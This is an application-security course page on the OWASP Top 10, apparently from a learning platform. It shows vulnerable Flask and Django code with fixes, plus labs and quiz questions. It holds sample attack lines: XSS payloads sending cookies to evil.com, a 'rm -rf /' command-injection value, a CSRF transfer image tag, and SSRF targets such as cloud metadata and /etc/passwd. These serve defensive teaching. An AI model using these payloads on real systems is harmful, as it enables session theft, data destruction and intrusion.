Application Security & OWASP Top 10

Survey the OWASP Top 10 vulnerabilities — from broken access control to injection — understand how each works, how to find it, and how to fix it.

Medium 65m 3 tasks
Prerequisites: Operating System Security

Learning Objectives

  • Describe each OWASP Top 10 (2021) category with examples
  • Identify broken access control and insecure direct object references
  • Exploit and fix XSS, CSRF, and SSRF vulnerabilities
  • Understand security misconfigurations and their impact
  • Apply a Secure SDLC with threat modeling and security testing

OWASP Top 10 (2021)

Rank Category Example
A01 Broken Access Control IDOR, missing auth checks
A02 Cryptographic Failures Plaintext passwords, weak TLS
A03 Injection SQL, NoSQL, command injection
A04 Insecure Design Missing threat model, flawed logic
A05 Security Misconfiguration Default creds, debug mode on
A06 Vulnerable Components Outdated libraries with CVEs
A07 Auth & Session Failures Weak passwords, missing MFA
A08 Data Integrity Failures Unsigned updates, unsafe deserialization
A09 Logging & Monitoring Failures No audit trail, no alerting
A10 SSRF Internal service access via URL

A01 – Broken Access Control

Most common OWASP category. Failures let users act outside their intended permissions.

IDOR – Insecure Direct Object Reference

# VULNERABLE: user can access any order by changing the ID
@app.route("/api/orders/<int:order_id>")
def get_order(order_id):
    order = Order.objects.get(id=order_id)
    return jsonify(order)

# Attacker: GET /api/orders/1234 (someone else's order)

# FIX: always filter by authenticated user
@app.route("/api/orders/<int:order_id>")
@login_required
def get_order(order_id):
    order = Order.objects.get(id=order_id, user=current_user)
    # ↑ 404 if order doesn't belong to this user
    return jsonify(order)

Missing Function-Level Access Control

# VULNERABLE: only hiding admin links in UI, not enforcing server-side
@app.route("/admin/users")
def admin_users():
    return User.objects.all()  # no auth check!

# FIX
@app.route("/admin/users")
@login_required
@require_role("admin")   # decorator checks role
def admin_users():
    return User.objects.all()

A03 – Injection

Covered in depth in the Databases roadmap. Summary:
- SQL injection → parameterized queries
- Command injection → never pass user input to shell
- Template injection → use auto-escaping templates

# Command injection
import subprocess

# VULNERABLE
filename = request.args["file"]
os.system(f"convert {filename} output.pdf")
# Attacker: file=x; rm -rf /

# FIX: use list form, never shell=True
subprocess.run(["convert", filename, "output.pdf"],
               shell=False, timeout=30)

A05 – Security Misconfiguration

Common misconfigurations:
- Default credentials (admin/admin, admin/password)
- Debug mode enabled in production (Django DEBUG=True)
- Verbose error messages exposing stack traces
- Unused features enabled (directory listing, unused API endpoints)
- Missing security headers
- Open cloud storage buckets (S3 public read)
- Unnecessary ports open (MongoDB 27017 exposed)
# Django security settings for production
DEBUG = False
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]  # not hardcoded
ALLOWED_HOSTS = ["yourdomain.com"]

# Security headers middleware
SECURE_HSTS_SECONDS = 31536000      # HSTS 1 year
SECURE_SSL_REDIRECT = True           # redirect HTTP → HTTPS
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
X_FRAME_OPTIONS = "DENY"
SECURE_CONTENT_TYPE_NOSNIFF = True

XSS – Cross-Site Scripting (A03 subset)

XSS injects malicious scripts into pages viewed by other users.

Types:
- Reflected XSS: payload in URL, reflected in response
- Stored XSS: payload stored in DB, shown to all users
- DOM-based XSS: JavaScript reads URL param, writes to DOM

Payload examples:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+btoa(document.body.innerHTML))">
<svg onload="alert('XSS')">
# VULNERABLE: rendering user input without escaping
return f"<h1>Hello {name}</h1>"

# FIX: Django templates auto-escape by default
{{ name }}          # safe — Django escapes <, >, &, ", '
{{ name|safe }}     # UNSAFE — disables escaping!

# FIX: for API responses use JSON (not HTML)
return jsonify({"name": name})  # no XSS risk in JSON

# Content-Security-Policy header blocks inline scripts
"Content-Security-Policy": "default-src 'self'; script-src 'self'"

CSRF – Cross-Site Request Forgery (A01 subset)

Tricks a logged-in user's browser into making an authenticated request:

<!-- Evil page visited by logged-in bank user -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width=0>
<!-- Browser automatically includes session cookie! -->
# Defense 1: CSRF tokens (Django does this by default)
<form method="POST">
    {% csrf_token %}    <!-- hidden token checked server-side -->
    ...
</form>

# Defense 2: SameSite=Strict cookie (modern defense)
Set-Cookie: session=...; SameSite=Strict

# Defense 3: Check Origin/Referer header (weak, can be spoofed)

SSRF – Server-Side Request Forgery (A10)

Server fetches a URL supplied by the user — attacker points it at internal services:

# VULNERABLE
@app.route("/fetch")
def fetch():
    url = request.args["url"]
    return requests.get(url).text
# Attacker: url=http://169.254.169.254/latest/meta-data/ (AWS metadata!)
# Attacker: url=http://localhost:6379 (Redis)
# Attacker: url=file:///etc/passwd

# FIX: allowlist of permitted destinations
import ipaddress

ALLOWED_DOMAINS = {"api.example.com", "cdn.example.com"}

def is_safe_url(url: str) -> bool:
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        return False
    if parsed.hostname in ALLOWED_DOMAINS:
        return True
    # Block private IPs
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        return not (ip.is_private or ip.is_loopback or ip.is_link_local)
    except ValueError:
        pass
    return False

A06 – Vulnerable Components

# Python: check for known vulnerabilities
pip install pip-audit
pip-audit

# Node.js
npm audit
npm audit fix

# Check CVEs: search https://nvd.nist.gov/
# Monitor: GitHub Dependabot, Snyk, OWASP Dependency-Check

# Dependency pinning (requirements.txt)
django==4.2.7     # pinned version
requests==2.31.0  # known-good

# Update strategy: automated PRs (Dependabot) + CI tests

Secure SDLC

Security integrated at every phase:

Requirements → Threat Modeling (STRIDE)
Design       → Security Architecture Review
Development  → Secure Coding, SAST (bandit, semgrep)
Testing      → DAST (OWASP ZAP), Pen Test
Deployment   → Hardened config, secrets management
Operations   → Monitoring, patch management

STRIDE Threat Model

Threat Example Control
Spoofing Impersonate user Authentication
Tampering Modify data in transit Integrity/HMAC
Repudiation Deny performing action Audit logging
Information Disclosure Data breach Encryption, access control
Denial of Service Resource exhaustion Rate limiting, scaling
Elevation of Privilege IDOR, SQLi Authorization checks

Given a Django REST API with /api/orders/, /api/profile/, /api/invoices/: (1) test each endpoint by changing the ID to another user's object, (2) identify which endpoints lack user-ownership checks, (3) fix all three by filtering queryset by request.user, (4) write a test that verifies a user gets 404 on another user's object.

✦ Answer the questions to complete this task

What is an IDOR vulnerability?

In a Flask app with a search endpoint that reflects the query in HTML: (1) inject and confirm execution, (2) inject a cookie-stealing payload, (3) fix with html.escape() or Jinja2 auto-escaping, (4) add a Content-Security-Policy header that blocks inline scripts, (5) verify the fix.

✦ Answer the questions to complete this task

What does Content-Security-Policy: default-src 'self' do?

Which Django template tag disables auto-escaping?

Set up a vulnerable URL-fetch endpoint. Then: (1) demonstrate SSRF to http://localhost:6379 (Redis), (2) demonstrate SSRF to http://127.0.0.1/admin (internal service), (3) implement is_safe_url() with allowlist + private IP blocking, (4) verify that http://169.254.169.254 (AWS metadata) is blocked.

✦ Answer the questions to complete this task

What is the AWS instance metadata endpoint?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

OWASP Top 10 MCQ

OWASP Top 10 MCQ

Start →
⚙️ Practical Medium +30 XP

Build a Secure Web App

Build a Secure Web App

Start →
🚩 Challenge Hard +50 XP

Exploit IDOR and SSRF Chain

Exploit IDOR and SSRF Chain

Start →